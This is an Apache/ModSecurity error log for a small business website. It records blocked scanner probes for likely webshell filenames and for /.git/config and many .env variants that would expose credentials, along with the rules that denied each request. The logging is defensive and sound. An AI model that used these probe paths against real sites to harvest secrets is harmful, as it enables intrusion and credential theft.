[Tue Apr 21 16:38:12.396599 2026] [:error] [pid 54080:tid 54087] [client 98.71.67.66:24770] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/file48.php"] [unique_id "aec3dIzEbQHHxtmWbaZ29wAAAsU"]
[Tue Apr 21 16:38:13.277173 2026] [:error] [pid 54080:tid 54105] [client 98.71.67.66:1350] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/file48.php"] [unique_id "aec3dYzEbQHHxtmWbaZ2_wAAAtc"]
[Tue Apr 21 16:38:13.932402 2026] [:error] [pid 35321:tid 35399] [client 98.71.67.66:34240] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/g.php"] [unique_id "aec3dTeHLhVUuu8cVXzhIgAAAE8"]
[Tue Apr 21 16:38:14.807305 2026] [:error] [pid 53832:tid 53855] [client 98.71.67.66:17235] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/g.php"] [unique_id "aec3dtzkuxsE_OhM9UI-4QAAAlQ"]
[Tue Apr 21 16:38:15.425011 2026] [:error] [pid 53832:tid 53842] [client 98.71.67.66:49366] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/g.php"] [unique_id "aec3d9zkuxsE_OhM9UI-5AAAAkc"]
[Tue Apr 21 16:38:16.125599 2026] [:error] [pid 35320:tid 35339] [client 98.71.67.66:49356] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/g.php"] [unique_id "aec3eIJW6fdXWO6agMFCBgAAAAk"]
[Tue Apr 21 16:38:17.105093 2026] [:error] [pid 35320:tid 35338] [client 98.71.67.66:30695] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aec3eYJW6fdXWO6agMFCCgAAAAg"]
[Tue Apr 21 16:38:17.950135 2026] [:error] [pid 54080:tid 54096] [client 98.71.67.66:49407] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aec3eYzEbQHHxtmWbaZ3EQAAAs4"]
[Tue Apr 21 16:38:18.765831 2026] [:error] [pid 4777:tid 4793] [client 98.71.67.66:30668] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aec3eqxXur6bykKyLZSP7wAAAQU"]
[Tue Apr 21 16:38:19.884568 2026] [:error] [pid 35320:tid 35331] [client 98.71.67.66:17246] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aec3e4JW6fdXWO6agMFCEgAAAAE"]
[Tue Apr 21 16:38:21.053713 2026] [:error] [pid 4777:tid 4791] [client 98.71.67.66:16514] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "aec3faxXur6bykKyLZSP9gAAAQM"]
[Tue Apr 21 16:38:21.904179 2026] [:error] [pid 53978:tid 53981] [client 98.71.67.66:34263] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "aec3fZ1ivsR4hcOSQbbClAAAAoE"]
[Tue Apr 21 16:38:22.707635 2026] [:error] [pid 54080:tid 54088] [client 98.71.67.66:1165] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "aec3fozEbQHHxtmWbaZ3GgAAAsY"]
[Tue Apr 21 16:38:23.505499 2026] [:error] [pid 35322:tid 35374] [client 98.71.67.66:49401] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "aec3f6PoAfV40BTfVKzLRgAAAJE"]
[Tue Apr 21 16:38:24.287245 2026] [:error] [pid 54080:tid 54085] [client 98.71.67.66:34916] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ew.php"] [unique_id "aec3gIzEbQHHxtmWbaZ3HgAAAsM"]
[Tue Apr 21 16:38:25.114053 2026] [:error] [pid 35320:tid 35339] [client 98.71.67.66:1155] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ew.php"] [unique_id "aec3gYJW6fdXWO6agMFCIwAAAAk"]
[Tue Apr 21 16:38:26.000252 2026] [:error] [pid 54080:tid 54092] [client 98.71.67.66:34253] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ew.php"] [unique_id "aec3gYzEbQHHxtmWbaZ3KwAAAso"]
[Tue Apr 21 16:38:26.967643 2026] [:error] [pid 53978:tid 54000] [client 98.71.67.66:34283] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ew.php"] [unique_id "aec3gp1ivsR4hcOSQbbCnQAAApQ"]
[Tue Apr 21 16:38:28.185842 2026] [:error] [pid 54080:tid 54083] [client 98.71.67.66:1404] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/file21.php"] [unique_id "aec3hIzEbQHHxtmWbaZ3NgAAAsE"]
[Tue Apr 21 16:38:29.421536 2026] [:error] [pid 53978:tid 53993] [client 98.71.67.66:65274] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/file21.php"] [unique_id "aec3hZ1ivsR4hcOSQbbCoAAAAo0"]
[Tue Apr 21 16:38:30.155629 2026] [:error] [pid 35320:tid 35334] [client 98.71.67.66:42859] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/file21.php"] [unique_id "aec3hoJW6fdXWO6agMFCNgAAAAQ"]
[Tue Apr 21 16:38:31.019514 2026] [:error] [pid 35320:tid 35338] [client 98.71.67.66:16521] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/file21.php"] [unique_id "aec3h4JW6fdXWO6agMFCPgAAAAg"]
[Tue Apr 21 16:38:31.899666 2026] [:error] [pid 4823:tid 4876] [client 98.71.67.66:24798] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/hypo.php"] [unique_id "aec3h_c8mke3PfHqsxHaoQAAAZc"]
[Tue Apr 21 16:38:32.572450 2026] [:error] [pid 35320:tid 35344] [client 98.71.67.66:1397] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/hypo.php"] [unique_id "aec3iIJW6fdXWO6agMFCVAAAAA4"]
[Tue Apr 21 16:38:33.276889 2026] [:error] [pid 54080:tid 54095] [client 98.71.67.66:16566] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/hypo.php"] [unique_id "aec3iYzEbQHHxtmWbaZ3WQAAAs0"]
[Tue Apr 21 16:38:34.198150 2026] [:error] [pid 54080:tid 54093] [client 98.71.67.66:24773] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/hypo.php"] [unique_id "aec3iozEbQHHxtmWbaZ3YwAAAss"]
[Tue Apr 21 16:38:35.089252 2026] [:error] [pid 35321:tid 35406] [client 98.71.67.66:1027] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/file18.php"] [unique_id "aec3izeHLhVUuu8cVXzhRQAAAFY"]
[Tue Apr 21 16:38:36.511996 2026] [:error] [pid 35320:tid 35340] [client 98.71.67.66:34274] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/file18.php"] [unique_id "aec3jIJW6fdXWO6agMFCZgAAAAo"]
[Tue Apr 21 16:38:37.433929 2026] [:error] [pid 35320:tid 35349] [client 98.71.67.66:34300] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/file18.php"] [unique_id "aec3jYJW6fdXWO6agMFCbQAAABM"]
[Tue Apr 21 16:38:38.134728 2026] [:error] [pid 53731:tid 53739] [client 98.71.67.66:1157] File does not exist: /usr/local/apache/htdocs/suspended-page/file18.php
[Tue Apr 21 16:38:38.443814 2026] [:error] [pid 53731:tid 53738] [client 98.71.67.66:1157] File does not exist: /usr/local/apache/htdocs/suspended-page/xwx1.php
[Tue Apr 21 16:38:38.988019 2026] [:error] [pid 53731:tid 53744] [client 98.71.67.66:1157] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Tue Apr 21 17:11:55.404311 2026] [:error] [pid 53978:tid 54004] [client 54.238.71.130:40004] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aec_W51ivsR4hcOSQbbTfQAAApg"]
[Tue Apr 21 17:11:56.108149 2026] [:error] [pid 53978:tid 53985] [client 54.238.71.130:40044] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env"] [unique_id "aec_XJ1ivsR4hcOSQbbTgwAAAoU"]
[Tue Apr 21 17:11:56.672515 2026] [:error] [pid 53978:tid 53991] [client 54.238.71.130:40066] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.local"] [unique_id "aec_XJ1ivsR4hcOSQbbThgAAAos"]
[Tue Apr 21 17:11:57.243757 2026] [:error] [pid 35322:tid 35365] [client 54.238.71.130:40076] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.production"] [unique_id "aec_XaPoAfV40BTfVKzNaQAAAIg"]
[Tue Apr 21 17:11:57.800789 2026] [:error] [pid 53978:tid 54001] [client 54.238.71.130:40082] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.staging"] [unique_id "aec_XZ1ivsR4hcOSQbbTjgAAApU"]
[Tue Apr 21 17:11:58.367824 2026] [:error] [pid 35320:tid 35345] [client 54.238.71.130:40108] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.development"] [unique_id "aec_XoJW6fdXWO6agMFODgAAAA8"]
[Tue Apr 21 17:11:58.933997 2026] [:error] [pid 54080:tid 54082] [client 54.238.71.130:39024] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.test"] [unique_id "aec_XozEbQHHxtmWbaaBGAAAAsA"]
[Tue Apr 21 17:11:59.498561 2026] [:error] [pid 35321:tid 35408] [client 54.238.71.130:39046] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.remote"] [unique_id "aec_XzeHLhVUuu8cVXzx3gAAAFg"]
[Tue Apr 21 17:12:00.060925 2026] [:error] [pid 35321:tid 35393] [client 54.238.71.130:39058] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.bak"] [unique_id "aec_YDeHLhVUuu8cVXzx4AAAAEk"]
[Tue Apr 21 17:12:00.622718 2026] [:error] [pid 35320:tid 35341] [client 54.238.71.130:39066] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.backup"] [unique_id "aec_YIJW6fdXWO6agMFOEgAAAAs"]
[Tue Apr 21 17:12:01.192668 2026] [:error] [pid 35320:tid 35342] [client 54.238.71.130:39092] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.save"] [unique_id "aec_YYJW6fdXWO6agMFOEwAAAAw"]
[Tue Apr 21 17:12:01.758383 2026] [:error] [pid 53978:tid 53995] [client 54.238.71.130:39134] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.old"] [unique_id "aec_YZ1ivsR4hcOSQbbTmwAAAo8"]
[Tue Apr 21 17:12:02.322529 2026] [:error] [pid 35415:tid 35444] [client 54.238.71.130:39150] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.sample"] [unique_id "aec_YkiqDinI4_22zzhh-wAAANE"]
[Tue Apr 21 17:12:02.886116 2026] [:error] [pid 54080:tid 54086] [client 54.238.71.130:39186] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.example"] [unique_id "aec_YozEbQHHxtmWbaaBGgAAAsQ"]
[Tue Apr 21 17:12:03.449143 2026] [:error] [pid 35321:tid 35387] [client 54.238.71.130:39206] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.dev"] [unique_id "aec_YzeHLhVUuu8cVXzx6QAAAEM"]
[Tue Apr 21 17:12:04.015664 2026] [:error] [pid 54080:tid 54089] [client 54.238.71.130:39242] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.prod"] [unique_id "aec_ZIzEbQHHxtmWbaaBHgAAAsc"]
[Tue Apr 21 17:12:04.585088 2026] [:error] [pid 54080:tid 54102] [client 54.238.71.130:39262] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.stage"] [unique_id "aec_ZIzEbQHHxtmWbaaBIgAAAtQ"]
[Tue Apr 21 17:12:05.159930 2026] [:error] [pid 54080:tid 54084] [client 54.238.71.130:39296] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.ci"] [unique_id "aec_ZYzEbQHHxtmWbaaBJwAAAsI"]
[Tue Apr 21 17:12:05.723019 2026] [:error] [pid 53978:tid 53994] [client 54.238.71.130:39328] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.docker"] [unique_id "aec_ZZ1ivsR4hcOSQbbToAAAAo4"]
[Tue Apr 21 17:12:06.285381 2026] [:error] [pid 35321:tid 35399] [client 54.238.71.130:39366] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.live"] [unique_id "aec_ZjeHLhVUuu8cVXzx7wAAAE8"]
[Tue Apr 21 17:12:06.847969 2026] [:error] [pid 35321:tid 35389] [client 54.238.71.130:39416] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.preprod"] [unique_id "aec_ZjeHLhVUuu8cVXzx-AAAAEU"]
[Tue Apr 21 17:12:07.412881 2026] [:error] [pid 4777:tid 4796] [client 54.238.71.130:39464] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.uat"] [unique_id "aec_Z6xXur6bykKyLZSUBAAAAQg"]
[Tue Apr 21 17:12:07.977966 2026] [:error] [pid 35321:tid 35408] [client 54.238.71.130:39544] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.dist"] [unique_id "aec_ZzeHLhVUuu8cVXzyBAAAAFg"]
[Tue Apr 21 17:12:08.548473 2026] [:error] [pid 53731:tid 53748] [client 54.238.71.130:37556] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.swp"] [unique_id "aec_aF2I9THUR-bRVGz_LwAAAg0"]
[Tue Apr 21 17:12:09.109092 2026] [:error] [pid 53731:tid 53755] [client 54.238.71.130:37618] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env~"] [unique_id "aec_aV2I9THUR-bRVGz_PAAAAhM"]
[Tue Apr 21 17:12:09.675746 2026] [:error] [pid 53731:tid 53743] [client 54.238.71.130:37676] [client 54.238.71.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/app/.env"] [unique_id "aec_aV2I9THUR-bRVGz_RAAAAgg"]
